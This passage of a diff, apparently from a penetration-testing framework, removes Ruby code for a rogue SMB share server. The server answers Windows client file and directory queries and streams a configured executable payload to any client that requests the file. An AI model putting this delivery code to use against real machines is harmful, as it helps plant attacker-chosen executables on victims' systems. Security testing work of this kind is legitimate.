"#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters - # Fix the Netbios Session Service Message Length - # to have into account the tree_connect_response, - # need to do this because there isn't support for - # AndX still - my_pkt = pkt.to_s + tree_connect_response - original_length = my_pkt[2, 2].unpack("n").first - original_length = original_length + tree_connect_response.length - my_pkt[2, 2] = [original_length].pack("n") - c.put(my_pkt) - end - - # - # Responds to a client NT_CREATE_ANDX request - # - def smb_cmd_create(c, buff) - pkt = CONST::SMB_CREATE_PKT.make_struct - pkt.from_s(buff) - - # Tries to do CREATE and X - payload = pkt['Payload'].v['Payload'].gsub(/\x00/, '').gsub(/.*\\/, '\\').chomp.strip - length = pkt['Payload'].v['Payload'].length - dprint("[smb_cmd_create] Payload is: #{payload}") - dprint("[smb_cmd_create] Payload length is: #{payload.length.to_s}") - file = @file_name - path = @path_name - - if path.nil? || path == 0 - dprint("[smb_cmd_create] Path is empty") - path = '\\' - else - dprint("[smb_cmd_create] Path is: #{path}") - end - - begin - fileext = file.split('.').last - rescue - fileext = file - end - - begin - payext = payload.split('.').last - rescue - payext = payload - end - - if payext and payext.downcase.eql?(fileext) - # Asks for file with correct extension - dprint("[smb_cmd_create] Sending file response: #{file} with length: #{@exe.length.to_s}") - pkt = CONST::SMB_CREATE_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 42 - pkt['Payload'].v['AndX'] = 0xff # no further commands - pkt['Payload'].v['OpLock'] = 0x3 # Grant Oplock on File - # No need to track fid here, we're just offering one file - pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0 - pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened - pkt['Payload'].v['CreateTimeLow'] = @lo - pkt['Payload'].v['CreateTimeHigh'] = @hi - pkt['Payload'].v['AccessTimeLow'] = @lo - pkt['Payload'].v['AccessTimeHigh'] = @hi - pkt['Payload'].v['WriteTimeLow'] = @lo - pkt['Payload'].v['WriteTimeHigh'] = @hi - pkt['Payload'].v['ChangeTimeLow'] = @lo - pkt['Payload'].v['ChangeTimeHigh'] = @hi - #pkt['Payload'].v['Attributes'] = 0x20 # Not an archive - #pkt['Payload'].v['AllocLow'] = 1048576 # 1Mb - pkt['Payload'].v['Attributes'] = 0x80 # File Attributes - pkt['Payload'].v['AllocLow'] = 0x100000 - pkt['Payload'].v['AllocHigh'] = 0 - pkt['Payload'].v['EOFLow'] = @exe.length - pkt['Payload'].v['EOFHigh'] = 0 - pkt['Payload'].v['FileType'] = 0 - pkt['Payload'].v['IPCState'] = 0x7 - pkt['Payload'].v['IsDirectory'] = 0 - elsif payload.length.to_s.eql?('1') or payload.eql?(path) - # Asks for '\' - dprint("[smb_cmd_create] Sending directory response") - pkt = CONST::SMB_CREATE_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 42 - pkt['Payload'].v['AndX'] = 0xff # no further commands - pkt['Payload'].v['OpLock'] = 0 # Deny OpLock on Directory - # No need to track fid here, we're just offering one file - pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0 - pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened - pkt['Payload'].v['CreateTimeLow'] = @lo - pkt['Payload'].v['CreateTimeHigh'] = @hi - pkt['Payload'].v['AccessTimeLow'] = @lo - pkt['Payload'].v['AccessTimeHigh'] = @hi - pkt['Payload'].v['WriteTimeLow'] = @lo - pkt['Payload'].v['WriteTimeHigh'] = @hi - pkt['Payload'].v['ChangeTimeLow'] = @lo - pkt['Payload'].v['ChangeTimeHigh'] = @hi - pkt['Payload'].v['Attributes'] = 0x10 # Ordinary dir - pkt['Payload'].v['AllocLow'] = 0 - pkt['Payload'].v['AllocHigh'] = 0 - pkt['Payload'].v['EOFLow'] = 0 - pkt['Payload'].v['EOFHigh'] = 0 - pkt['Payload'].v['FileType'] = 0 - pkt['Payload'].v['IPCState'] = 0x7 - pkt['Payload'].v['IsDirectory'] = 1 - end - - # As above, if payload is a file or "\" send found response - if ( payext and payext.downcase.eql?(fileext) ) or payload.length.to_s.eql?('1') or payload.eql?(path) - dprint("[smb_cmd_create] Sending response") - connect_response = "" - # GUID - connect_response << ([0].pack("C") * 16) - # File ID - connect_response << ([0].pack("C") * 6) - # Access Rights - connect_response << [0xff].pack("C") - connect_response << [0x01].pack("C") - connect_response << [0x1f].pack("C") - connect_response << [0].pack("C") - connect_response << ([0].pack("C") * 4) # Guest access - connect_response << ([0].pack("C") * 2) # Byte Count - - my_pkt = pkt.to_s + connect_response - original_length = my_pkt[2, 2].unpack("n").first - original_length = original_length + connect_response.length - my_pkt[2, 2] = [original_length].pack("n") - c.put(my_pkt) - else - # Otherwise send not found - dprint("[smb_cmd_create] Sending NOT FOUND") - pkt = CONST::SMB_CREATE_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX - pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - c.put(pkt.to_s) - end - end - - # - # Responds to a client CLOSE request - # - def smb_cmd_close(c, buff) - pkt = CONST::SMB_CLOSE_PKT.make_struct - pkt.from_s(buff) - - pkt = CONST::SMB_CLOSE_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 0 - - c.put(pkt.to_s) - end - - # - # Responds to a client READ_ANDX request - # This function sends chunks of the payload to the client - # by reading the offset and length requested by the client - # and sending the appropriate chunk of the payload - # - def smb_cmd_read(c, buff) - pkt = CONST::SMB_READ_PKT.make_struct - pkt.from_s(buff) - - offset = pkt['Payload'].v['Offset'] - length = pkt['Payload'].v['MaxCountLow'] - - pkt = CONST::SMB_READ_RES_PKT.make_struct - smb_set_defaults(c, pkt) - dprint("Sending File! Offset: #{offset.to_s} Length: #{length.to_s}") - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 12 - pkt['Payload'].v['AndX'] = 0xff # no more commands - pkt['Payload'].v['Remaining'] = 0xffff - pkt['Payload'].v['DataLenLow'] = length - pkt['Payload'].v['DataOffset'] = 59 - pkt['Payload'].v['DataLenHigh'] = 0 - pkt['Payload'].v['Reserved3'] = 0 - pkt['Payload'].v['Reserved4'] = 0x0a - pkt['Payload'].v['ByteCount'] = length - pkt['Payload'].v['Payload'] = @exe[offset, length] - c.put(pkt.to_s) - end - - # - # Responds to client TRANSACTION2 requests and dispatches the request off to - # other functions dependent on what the sub_command is. Commands supported - # include: - # QUERY_FILE_INFO (Basic, Standard and Internal) - # QUERY_PATH_INFO (Basic and Standard) - # - def smb_cmd_trans(c, buff) - # Client socket is c - pkt = CONST::SMB_TRANS2_PKT.make_struct - pkt.from_s(buff) - - sub_command = pkt['Payload'].v['SetupData'].unpack("v").first - dprint("Command is: #{sub_command.to_s}") - ar = bin_to_hex(buff).to_s - mdc = ar[86..89] - - case sub_command - when 0x24 # QUERY_FILE_INFO - dprint("[query_file_info_24]") - # path info works here - smb_cmd_trans_query_path_info_standard(c, buff) - when 0x7 # QUERY_FILE_INFO - dprint("[query_file_info_7]") - loi = ar[148..151] - dprint("LOI is: #{loi}") - case loi - when 'ed03' # Query Path Standard Info - smb_cmd_trans_query_path_info_standard(c, buff) - else - smb_cmd_trans_query_file_info_standard(c, buff) - end - when 0x5 # QUERY_PATH_INFO - dprint("[query_path_info]") - dprint("MDC is: #{mdc}") - loi = ar[144..147] - dprint("LOI is: #{loi}") - case mdc # MAX DATA COUNT - when '2800' - # Basic is MDC = 40 / 2800 hex - case loi - when '0101' # Query File Basic Info - dprint("[query_file_info_basic]") - smb_cmd_trans_query_file_info_basic(c, buff) - else - dprint("[query_path_info_basic]") - smb_cmd_trans_query_path_info_basic(c, buff) - end - when '1800', '0201' - # Standard is MDC = 24 / 1800 hex or 258 / 0201 hex - dprint("[query_path_info_standard]") - smb_cmd_trans_query_path_info_standard(c, buff) - when '0800' - # Internal File info is MDC = 8 / 0800 hex - dprint("[query_file_info_basic]") - smb_cmd_trans_query_file_info_standard(c, buff) - when '3800' - # Query file network open info - dprint("[query_file_info_network]") - smb_cmd_trans_query_file_info_network(c, buff) - else - dprint("Unknown MDC - Sending to [query_path_info_standard]: #{mdc.to_s}") - smb_cmd_trans_query_path_info_standard(c, buff) - end - when 0x1 # FIND_FIRST2 - dprint("find_first2") - loi = ar[156..159] - dprint("MDC is: #{mdc}") - dprint("LOI is: #{loi}") - case loi - when '0301' # Find File Names Info # 259 - smb_cmd_trans_find_first2_file(c, buff) - when '0401' # Find File Both Directory Info # 260 - smb_cmd_trans_find_first2(c, buff) - else - smb_cmd_trans_find_first2(c, buff) - end - else - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND - c.put(pkt.to_s) - end - end - - # - # Responds to QUERY_FILE_INFO (Network) requests - # - def smb_cmd_trans_query_file_info_network(c, buff) - pkt = CONST::SMB_TRANS2_PKT.make_struct - pkt.from_s(buff) - - payload = pkt['Payload'].v['SetupData'].gsub(/\x00/, '').gsub(/.*\\/, '').strip - dprint("[smb_cmd_trans_query_file_info_network] Payload length: #{payload.length.to_s}") - dprint("[smb_cmd_trans_query_file_info_network] Payload is : #{payload.to_s}") - - if payload.length.to_s.eql?('4') - attrib = "\x10\x00\x00\x00" # File attributes => directory - else - attrib = "\x80\x00\x00\x00" # File attributes => normal file - end - - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 2 - pkt['Payload'].v['DataCountTotal'] = 56 - pkt['Payload'].v['ParamCount'] = 2 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 56 - pkt['Payload'].v['DataOffset'] = 60 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # QUERY_PATH_INFO Parameters - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [@lo, @hi].pack("VV") + # Created - [@lo, @hi].pack("VV") + # Last Access - [@lo, @hi].pack("VV") + # Last Write - [@lo, @hi].pack("VV") + # Change - "\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation Size = 1048576 || 1Mb - [@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File - attrib + - "\x00\x00\x00\x00" # Unknown - - my_pkt = pkt.to_s - original_length = my_pkt[2, 2].unpack("n").first - original_length = original_length + 24 - my_pkt[2, 2] = [original_length].pack("n") - new_length = my_pkt[2, 2].unpack("n").first - c.put(pkt.to_s) - end - - # - # Responds to QUERY_FILE_INFO (Standard) requests - # - def smb_cmd_trans_query_file_info_standard(c, buff) - pkt = CONST::SMB_TRANS2_PKT.make_struct - pkt.from_s(buff) - - payload = pkt['Payload'].v['SetupData'].gsub(/\x00/, '').gsub(/.*\\/, '').strip - file = Rex::Text.to_unicode(@file_name) - - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 2 - pkt['Payload'].v['DataCountTotal'] = 8 - pkt['Payload'].v['ParamCount'] = 2 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 8 - pkt['Payload'].v['DataOffset'] = 60 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # QUERY_FILE Parameters - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Padding - # QUERY_FILE_INFO Data - "\x95\x1c\x02\x00\x00\x00\x00\x00" - - my_pkt = pkt.to_s - original_length = my_pkt[2, 2].unpack("n").first - original_length = original_length + 8 - my_pkt[2, 2] = [original_length].pack("n") - new_length = my_pkt[2, 2].unpack("n").first - c.put(pkt.to_s) - end - - # - # Responds to QUERY_PATH_INFO (Standard) requests - # - def smb_cmd_trans_query_path_info_standard(c, buff) - pkt = CONST::SMB_TRANS2_PKT.make_struct - pkt.from_s(buff) - - payload = pkt['Payload'].v['SetupData'].gsub(/\x00/, '').gsub(/.*\\/, '\\').chomp.strip - length = pkt['Payload'].v['SetupData'].length - dprint("[smb_cmd_trans_query_path_info_standard] Payload is : #{payload.to_s}") - dprint("[smb_cmd_trans_query_path_info_standard] Payload length: #{payload.length.to_s}") - dprint("[smb_cmd_trans_query_path_info_standard] File name length: #{@file_name.length.to_s}") - file = @file_name - - begin - fileext = file.split('.').last - rescue - fileext = file - end - - begin - payext = payload.split('.').last - rescue - payext = payload - end - - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - #if (payext and payext.downcase.eql?(fileext)) or payload.length.to_s.eql?('1') or payload.length.to_s.eql?('6') - if (payext and payext.downcase.eql?(fileext)) or payload.length >= 1 - dprint("[smb_cmd_trans_query_path_info_standard] Ext: #{payext.to_s}") - attrib2 = "\x00" # IsFile - dprint("[smb_cmd_trans_query_path_info_standard] Sending file response: #{file} with length: #{@exe.length.to_s}") - else - # if QUERY_PATH_INFO_PARAMETERS doesn't include a file name, - # return a Directory answer - attrib2 = "\x01" # IsDir - dprint("[smb_cmd_trans_query_path_info_standard] Sending directory response") - end - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 2 - pkt['Payload'].v['DataCountTotal'] = 24 - pkt['Payload'].v['ParamCount'] = 2 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 24 - pkt['Payload'].v['DataOffset'] = 60 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # QUERY_PATH_INFO Parameters - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Padding - # QUERY_PATH_INFO Data - "\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation Size = 1048576 || 1Mb - [@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File - "\x01\x00\x00\x00" + # Link Count - "\x00" + # Delete Pending - attrib2 + - "\x00\x00" # Unknown - c.put(pkt.to_s) - end - - # - # Responds to QUERY_FILE_INFO (Basic) requests - # - def smb_cmd_trans_query_file_info_basic(c, buff) - pkt = CONST::SMB_TRANS2_PKT.make_struct - pkt.from_s(buff) - - payload = pkt['Payload'].v['SetupData'].gsub(/\x00/, '').gsub(/.*\\/, '\\').chomp.strip - file = @file_name - path = @path_name - dprint("[smb_cmd_trans_query_file_info_basic] Payload is: #{payload} with length: #{@exe.length.to_s}") - dprint("[smb_cmd_trans_query_file_info_basic] Payload length: #{payload.length.to_s}") - dprint("[smb_cmd_trans_query_file_info_basic] File name length: #{@file_name.length.to_s}") - - if path.nil? || path == 0 - dprint("[smb_cmd_trans_query_file_info_basic] Path is empty") - path = '\\' - else - dprint("[smb_cmd_trans_query_file_info_basic] Path is: #{path}") - end - - begin - fileext = file.split('.').last - rescue - fileext = file - end - - begin - payext = payload.split('.').last - rescue - payext = payload - end - - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - # If payload contains our file extension, send file response - if payext and payext.downcase.eql?(fileext) - #attrib = "\x20\x00\x00\x00" # File attributes => archive: file has been modified - attrib = "\x80\x00\x00\x00" # File attributes => file - dprint("[smb_cmd_trans_query_file_info_basic] Sending file response: #{file} with length: #{@exe.length.to_s}") - elsif payload.length.to_s.eql?('1') or payload.eql?(path) - # if QUERY_PATH_INFO_PARAMETERS doesn't include a file name, - # return a Directory answer - attrib = "\x10\x00\x00\x00" # File attributes => directory - dprint("[smb_cmd_trans_query_file_info_basic] Sending directory response") - end - - if (payext and payext.downcase.eql?(fileext)) or payload.length.to_s.eql?('1') or payload.length.to_s.eql?('4') or payload.eql?(path) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 2 - pkt['Payload'].v['DataCountTotal'] = 40 - pkt['Payload'].v['ParamCount'] = 2 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 40 - pkt['Payload'].v['DataOffset'] = 60 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # QUERY_PATH_INFO Parameters - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [@lo, @hi].pack("VV") + # Created - [@lo, @hi].pack("VV") + # Last Access - [@lo, @hi].pack("VV") + # Last Write - [@lo, @hi].pack("VV") + # Change - attrib + - "\x00\x00\x00\x00" # Unknown - c.put(pkt.to_s) - else - dprint("[smb_cmd_trans_query_file_info_basic] Sending NOT FOUND") - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - c.put(pkt.to_s) - end - end - - # - # Responds to QUERY_PATH_INFO (Basic) requests - # - def smb_cmd_trans_query_path_info_basic(c, buff) - pkt = CONST::SMB_TRANS2_PKT.make_struct - pkt.from_s(buff) - - payload = pkt['Payload'].v['SetupData'].gsub(/\x00/, '').gsub(/.*\\/, '\\').chomp.strip - file = @file_name - path = @path_name - - if path.nil? || path == 0 - dprint("[smb_cmd_trans_query_path_info_basic] Path is empty") - path = '\\' - else - dprint("[smb_cmd_trans_query_path_info_basic] Path is: #{path}") - end - - dprint("[smb_cmd_trans_query_path_info_basic] Payload is: #{payload}") - dprint("[smb_cmd_trans_query_path_info_basic] Payload length: #{payload.length.to_s}") - dprint("[smb_cmd_trans_query_path_info_basic] File name : #{@file_name.to_s}") - dprint("[smb_cmd_trans_query_path_info_basic] File name length: #{@file_name.length.to_s}") - - begin - fileext = file.split('.').last - filename = file.split('.').first - rescue - fileext = file - end - - begin - payext = payload.split('.').last - payname = payload.split('.').first.split('\\').last - rescue - payext = payload - end - - dprint("[smb_cmd_trans_query_path_info_basic] Payext: #{payext.to_s}") - dprint("[smb_cmd_trans_query_path_info_basic] Fileext: #{fileext.to_s}") - dprint("[smb_cmd_trans_query_path_info_basic] Payname: #{payname.to_s}") - dprint("[smb_cmd_trans_query_path_info_basic] Filename: #{filename.to_s}") - - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - if payname and payname.ascii_only? - if payname.to_s.eql?(filename) - fileistrue = true - else - fileistrue = false - end - else - fileistrue = false - end - - # If payload contains our file extension send a file response - #if (payext and payext.downcase.eql?(fileext)) or payload.length.to_s.eql?('1') or payload.length.to_s.eql?('4') or fileistrue - if (payext and payext.downcase.eql?(fileext)) or fileistrue - if payload.length.to_s.eql?('4') - attrib = "\x20\x00\x00\x00" # File attributes => archive: file has been modified - else - attrib = "\x80\x00\x00\x00" # File attributes => file - end - dprint("[smb_cmd_trans_query_path_info_basic] Sending file response: #{file} with length: #{@exe.length.to_s}") - else - # else if QUERY_PATH_INFO_PARAMETERS doesn't include a file name, - # return a Directory answer - attrib = "\x10\x00\x00\x00" # File attributes => directory - dprint("[smb_cmd_trans_query_path_info_basic] Sending directory response") - end - - # If payload contains our file extension or is just 4 chars long (empty - # unicode filename) send a response - if (payext and payext.downcase.eql?(fileext)) or payload.eql?(path) or payload.length.to_s.eql?('1') or payload.length.to_s.eql?('4') or fileistrue - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 2 - pkt['Payload'].v['DataCountTotal'] = 40 - pkt['Payload'].v['ParamCount'] = 2 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 40 - pkt['Payload'].v['DataOffset'] = 60 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # QUERY_PATH_INFO Parameters - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [@lo, @hi].pack("VV") + # Created - [@lo, @hi].pack("VV") + # Last Access - [@lo, @hi].pack("VV") + # Last Write - [@lo, @hi].pack("VV") + # Change - attrib + - "\x00\x00\x00\x00" # Unknown - c.put(pkt.to_s) - else - # Else send not found - dprint("[smb_cmd_trans_query_path_info_basic] Sending NOT FOUND") - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - c.put(pkt.to_s) - end - end - - # - # Responds to FIND_FIRST2 requests - # Command: Find File Both Directory Info - # - def smb_cmd_trans_find_first2(c, buff) - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt.from_s(buff) - - payload = pkt['Payload'].v['SetupData'].gsub(/\x00/, '').gsub(/.*\\/, '\\').chomp.strip - file = @file_name - file_name = Rex::Text.to_unicode(@file_name) - path = Rex::Text.to_unicode(@path_name) - - dprint("[smb_cmd_trans_find_first2] Payload is: #{payload}") - dprint("[smb_cmd_trans_find_first2] Payload length: #{payload.length.to_s}") - - if path.nil? || path == 0 - dprint("[smb_cmd_trans_find_first2] Path is empty") - path = '\\' - else - dprint("[smb_cmd_trans_find_first2] Path is: #{path}") - end - - begin - fileext = file.split('.').last - rescue - fileext = file - end - - begin - payext = payload.split('.').last - rescue - payext = payload - end - - if (payext and payext.downcase.eql?(fileext)) or payload.length.to_s.eql?('4') - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - dprint("[smb_cmd_trans_find_first2] Sending file response #{file}") - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 10 - pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length - pkt['Payload'].v['ParamCount'] = 10 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 94 + file_name.length - pkt['Payload'].v['DataOffset'] = 68 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # FIND_FIRST2 Parameters - "\xfd\xff" + # Search ID - "\x01\x00" + # Search count - "\x01\x00" + # End Of Search - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Last Name Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [94 + file_name.length].pack("V") + # Next Entry Offset - "\x00\x00\x00\x00" + # File Index - [@lo, @hi].pack("VV") + # Created - [@lo, @hi].pack("VV") + # Last Access - [@lo, @hi].pack("VV") + # Last Write - [@lo, @hi].pack("VV") + # Change - [@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File - "\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation Size = 1048576 || 1Mb - "\x80\x00\x00\x00" + # File attributes => directory - [file_name.length].pack("V") + # File name len - "\x00\x00\x00\x00" + # EA List Length - "\x00" + # Short file length - "\x00" + # Reserved - ("\x00" * 24) + - file_name - - c.put(pkt.to_s) - else - dprint("[smb_cmd_trans_find_first2] Sending directory response #{path}") - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 10 - pkt['Payload'].v['DataCountTotal'] = 94 + path.length - pkt['Payload'].v['ParamCount'] = 10 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 94 + path.length - pkt['Payload'].v['DataOffset'] = 68 - pkt['Payload'].v['SetupCount'] = 0 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # FIND_FIRST2 Parameters - "\xfd\xff" + # Search ID - "\x00\x01" + # Search count - "\x00\x01" + # End Of Search - "\x21\x00" + # EA Error Offset - "\x00\x00" + # Last Name Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [94 + path.length].pack("V") + # Next Entry Offset - "\x00\x00\x00\x00" + # File Index - [@lo, @hi].pack("VV") + # Created - [@lo, @hi].pack("VV") + # Last Access - [@lo, @hi].pack("VV") + # Last Write - [@lo, @hi].pack("VV") + # Change - "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + # End Of File - "\x00\x00\x00\x00\x00\x00\x00\x00" + # Allocation Size - "\x10\x00\x00\x00" + # File attributes => directory - [path.length].pack("V") + # File name len - "\x00\x00\x00\x00" + # EA List Length - "\x00" + # Short file length - "\x00" + # Reserved - ("\x00" * 24) + - path - - c.put(pkt.to_s) - end - end - - # - # Responds to FIND_FIRST2 requests - # Command: Find File Names Info - # - def smb_cmd_trans_find_first2_file(c, buff) - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - - pkt.from_s(buff) - - payload = pkt['Payload'].v['SetupData'].gsub(/\x00/, '').gsub(/.*\\/, '\\').chomp.strip - file = @file_name - file_name = Rex::Text.to_unicode(@file_name) - path = Rex::Text.to_unicode(@path_name) - dprint("[smb_cmd_trans_find_first2_file] Payload is: #{payload}") - dprint("[smb_cmd_trans_find_first2_file] Payload length: #{payload.length.to_s}") - - if path.nil? || path == 0 - dprint("[smb_cmd_trans_find_first2_file] Path is empty") - path = '\\' - else - dprint("[smb_cmd_trans_find_first2_file] Path is: #{path}") - end - - begin - fileext = file.split('.').last - rescue - fileext = file - end - - begin - payext = payload.split('.').last - rescue - payext = payload - end - - if (payext and payext.downcase.eql?(fileext)) or payload.length.to_s.eql?('4') - dprint("[smb_cmd_trans_find_first2_file] Sending file response #{file}") - # If its asking for a file, return file - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 10 - pkt['Payload'].v['DataCountTotal'] = 14 + file_name.length - pkt['Payload'].v['ParamCount'] = 10 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 14 + file_name.length - pkt['Payload'].v['DataOffset'] = 68 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # FIND_FIRST2 Parameters - "\xfd\xff" + # Search ID - "\x01\x00" + # Search count - "\x01\x00" + # End Of Search - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Last Name Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [14 + file_name.length].pack("V") + # Next Entry Offset - "\x00\x00\x00\x00" + # File Index - [file_name.length].pack("V") + # File Name Len - file_name + - "\x00\x00" # Padding - c.put(pkt.to_s) - else - dprint("[smb_cmd_trans_find_first2_file] Sending directory response #{path}") - pkt = CONST::SMB_TRANS_RES_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - pkt['Payload']['SMB'].v['Flags2'] = @flags2 - pkt['Payload']['SMB'].v['WordCount'] = 10 - pkt['Payload'].v['ParamCountTotal'] = 10 - pkt['Payload'].v['DataCountTotal'] = 14 + path.length - 